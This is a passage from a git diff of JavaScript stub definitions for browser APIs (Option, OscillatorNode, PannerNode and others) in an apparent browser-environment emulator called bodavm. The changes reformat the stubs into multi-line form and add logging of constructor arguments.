bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "transform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "translate", { + configurable: true, + enumerable: true, + writable: true, + value: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "translate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arc", { + configurable: true, + enumerable: true, + writable: true, + value: function arc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arcTo", { + configurable: true, + enumerable: true, + writable: true, + value: function arcTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arcTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "beginPath", { + configurable: true, + enumerable: true, + writable: true, + value: function beginPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "beginPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "bezierCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function bezierCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "bezierCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clearRect", { + configurable: true, + enumerable: true, + writable: true, + value: function clearRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clearRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "closePath", { + configurable: true, + enumerable: true, + writable: true, + value: function closePath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "closePath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "ellipse", { + configurable: true, + enumerable: true, + writable: true, + value: function ellipse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "ellipse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fillRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineTo", { + configurable: true, + enumerable: true, + writable: true, + value: function lineTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "moveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function moveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "moveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "quadraticCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function quadraticCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "quadraticCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rect", { + configurable: true, + enumerable: true, + writable: true, + value: function rect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "resetTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function resetTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "resetTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "restore", { + configurable: true, + enumerable: true, + writable: true, + value: function restore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "restore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rotate", { + configurable: true, + enumerable: true, + writable: true, + value: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeRect", { + configurable: true, + enumerable: true, + writable: true, + value: function strokeRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeRect", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Option.js b/env_xbb_lastest_jsdom/env/Option.js index ce08fe75..2a829148 100644 --- a/env_xbb_lastest_jsdom/env/Option.js +++ b/env_xbb_lastest_jsdom/env/Option.js @@ -1,12 +1,91 @@ -// Option对象 -bodavm.memory.globalobj['Option'] = function Option(){this._boarg= new bodaobj.window.Option();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Option'], "Option"); -bodavm.memory.globalobj['Option'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.toolsFunc.defineProperty('Option', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "defaultSelected", {configurable:true, enumerable:true, get:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_get", arguments)}, set:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "selected", {configurable:true, enumerable:true, get:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_get", arguments)}, set:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "index_get", arguments)}, set:undefined},'prototype'); +// Option对象 + +bodavm.memory.globalobj['Option'] = function Option() { + console.log_copy('Option 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Option(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Option'], "Option"); +bodavm.memory.globalobj['Option'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.toolsFunc.defineProperty('Option', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_get", arguments); + }, + set: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "defaultSelected", { + configurable: true, + enumerable: true, + get: function defaultSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_get", arguments); + }, + set: function defaultSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "selected", { + configurable: true, + enumerable: true, + get: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_get", arguments); + }, + set: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Option', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "index_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/OrientationSensor.js b/env_xbb_lastest_jsdom/env/OrientationSensor.js index 96a17b8f..2e9c1283 100644 --- a/env_xbb_lastest_jsdom/env/OrientationSensor.js +++ b/env_xbb_lastest_jsdom/env/OrientationSensor.js @@ -1,7 +1,35 @@ -// OrientationSensor对象 -bodavm.memory.globalobj['OrientationSensor'] = function OrientationSensor(){if (!(this instanceof OrientationSensor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OrientationSensor'], "OrientationSensor"); -bodavm.memory.globalobj['OrientationSensor'].prototype.__proto__=bodavm.memory.globalobj['Sensor'].prototype; -bodavm.memory.globalobj['OrientationSensor'].__proto__=bodavm.memory.globalobj['Sensor']; -bodavm.toolsFunc.defineProperty('OrientationSensor', "quaternion", {configurable:true, enumerable:true, get:function quaternion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OrientationSensor'].prototype, "OrientationSensor", "quaternion_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OrientationSensor', "populateMatrix", {configurable:true, enumerable:true, writable:true, value:function populateMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OrientationSensor'].prototype, "OrientationSensor", "populateMatrix", arguments)}},'prototype'); +// OrientationSensor对象 + +bodavm.memory.globalobj['OrientationSensor'] = function OrientationSensor() { + console.log_copy('OrientationSensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OrientationSensor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OrientationSensor'], "OrientationSensor"); +bodavm.memory.globalobj['OrientationSensor'].prototype.__proto__ = bodavm.memory.globalobj['Sensor'].prototype; +bodavm.memory.globalobj['OrientationSensor'].__proto__ = bodavm.memory.globalobj['Sensor']; +bodavm.toolsFunc.defineProperty('OrientationSensor', "quaternion", { + configurable: true, + enumerable: true, + get: function quaternion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OrientationSensor'].prototype, "OrientationSensor", "quaternion_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OrientationSensor', "populateMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function populateMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OrientationSensor'].prototype, "OrientationSensor", "populateMatrix", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/OscillatorNode.js b/env_xbb_lastest_jsdom/env/OscillatorNode.js index d155dc0b..70b4a364 100644 --- a/env_xbb_lastest_jsdom/env/OscillatorNode.js +++ b/env_xbb_lastest_jsdom/env/OscillatorNode.js @@ -1,9 +1,53 @@ -// OscillatorNode对象 -bodavm.memory.globalobj['OscillatorNode'] = function OscillatorNode(){if (!(this instanceof OscillatorNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OscillatorNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OscillatorNode'], "OscillatorNode"); -bodavm.memory.globalobj['OscillatorNode'].prototype.__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; -bodavm.memory.globalobj['OscillatorNode'].__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode']; -bodavm.toolsFunc.defineProperty('OscillatorNode', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OscillatorNode', "frequency", {configurable:true, enumerable:true, get:function frequency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "frequency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OscillatorNode', "detune", {configurable:true, enumerable:true, get:function detune (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "detune_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OscillatorNode', "setPeriodicWave", {configurable:true, enumerable:true, writable:true, value:function setPeriodicWave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "setPeriodicWave", arguments)}},'prototype'); +// OscillatorNode对象 + +bodavm.memory.globalobj['OscillatorNode'] = function OscillatorNode() { + console.log_copy('OscillatorNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OscillatorNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OscillatorNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OscillatorNode'], "OscillatorNode"); +bodavm.memory.globalobj['OscillatorNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; +bodavm.memory.globalobj['OscillatorNode'].__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode']; +bodavm.toolsFunc.defineProperty('OscillatorNode', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OscillatorNode', "frequency", { + configurable: true, + enumerable: true, + get: function frequency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "frequency_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OscillatorNode', "detune", { + configurable: true, + enumerable: true, + get: function detune() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "detune_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OscillatorNode', "setPeriodicWave", { + configurable: true, + enumerable: true, + writable: true, + value: function setPeriodicWave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "setPeriodicWave", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/OverconstrainedError.js b/env_xbb_lastest_jsdom/env/OverconstrainedError.js index 2e188431..429d1064 100644 --- a/env_xbb_lastest_jsdom/env/OverconstrainedError.js +++ b/env_xbb_lastest_jsdom/env/OverconstrainedError.js @@ -1,6 +1,41 @@ -// OverconstrainedError对象 -bodavm.memory.globalobj['OverconstrainedError'] = function OverconstrainedError(){if (!(this instanceof OverconstrainedError)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OverconstrainedError': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OverconstrainedError'], "OverconstrainedError"); -bodavm.toolsFunc.defineProperty('OverconstrainedError', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OverconstrainedError', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OverconstrainedError', "constraint", {configurable:true, enumerable:true, get:function constraint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "constraint_get", arguments)}, set:undefined},'prototype'); +// OverconstrainedError对象 + +bodavm.memory.globalobj['OverconstrainedError'] = function OverconstrainedError() { + console.log_copy('OverconstrainedError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OverconstrainedError)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OverconstrainedError': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OverconstrainedError'], "OverconstrainedError"); +bodavm.toolsFunc.defineProperty('OverconstrainedError', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OverconstrainedError', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OverconstrainedError', "constraint", { + configurable: true, + enumerable: true, + get: function constraint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "constraint_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PageTransitionEvent.js b/env_xbb_lastest_jsdom/env/PageTransitionEvent.js index 5a9fc800..10d60b14 100644 --- a/env_xbb_lastest_jsdom/env/PageTransitionEvent.js +++ b/env_xbb_lastest_jsdom/env/PageTransitionEvent.js @@ -1,6 +1,27 @@ -// PageTransitionEvent对象 -bodavm.memory.globalobj['PageTransitionEvent'] = function PageTransitionEvent(){if (!(this instanceof PageTransitionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PageTransitionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PageTransitionEvent'], "PageTransitionEvent"); -bodavm.memory.globalobj['PageTransitionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PageTransitionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PageTransitionEvent', "persisted", {configurable:true, enumerable:true, get:function persisted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PageTransitionEvent'].prototype, "PageTransitionEvent", "persisted_get", arguments)}, set:undefined},'prototype'); +// PageTransitionEvent对象 + +bodavm.memory.globalobj['PageTransitionEvent'] = function PageTransitionEvent() { + console.log_copy('PageTransitionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PageTransitionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PageTransitionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PageTransitionEvent'], "PageTransitionEvent"); +bodavm.memory.globalobj['PageTransitionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PageTransitionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PageTransitionEvent', "persisted", { + configurable: true, + enumerable: true, + get: function persisted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PageTransitionEvent'].prototype, "PageTransitionEvent", "persisted_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PannerNode.js b/env_xbb_lastest_jsdom/env/PannerNode.js index 2116cd43..92ab6db5 100644 --- a/env_xbb_lastest_jsdom/env/PannerNode.js +++ b/env_xbb_lastest_jsdom/env/PannerNode.js @@ -1,21 +1,163 @@ -// PannerNode对象 -bodavm.memory.globalobj['PannerNode'] = function PannerNode(){if (!(this instanceof PannerNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PannerNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PannerNode'], "PannerNode"); -bodavm.memory.globalobj['PannerNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['PannerNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('PannerNode', "panningModel", {configurable:true, enumerable:true, get:function panningModel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "panningModel_get", arguments)}, set:function panningModel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "panningModel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "positionX", {configurable:true, enumerable:true, get:function positionX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "positionY", {configurable:true, enumerable:true, get:function positionY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "positionZ", {configurable:true, enumerable:true, get:function positionZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "orientationX", {configurable:true, enumerable:true, get:function orientationX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "orientationY", {configurable:true, enumerable:true, get:function orientationY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "orientationZ", {configurable:true, enumerable:true, get:function orientationZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "distanceModel", {configurable:true, enumerable:true, get:function distanceModel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "distanceModel_get", arguments)}, set:function distanceModel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "distanceModel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "refDistance", {configurable:true, enumerable:true, get:function refDistance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "refDistance_get", arguments)}, set:function refDistance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "refDistance_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "maxDistance", {configurable:true, enumerable:true, get:function maxDistance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "maxDistance_get", arguments)}, set:function maxDistance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "maxDistance_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "rolloffFactor", {configurable:true, enumerable:true, get:function rolloffFactor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "rolloffFactor_get", arguments)}, set:function rolloffFactor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "rolloffFactor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "coneInnerAngle", {configurable:true, enumerable:true, get:function coneInnerAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneInnerAngle_get", arguments)}, set:function coneInnerAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneInnerAngle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "coneOuterAngle", {configurable:true, enumerable:true, get:function coneOuterAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterAngle_get", arguments)}, set:function coneOuterAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterAngle_set", arguments)}},'prototype'); 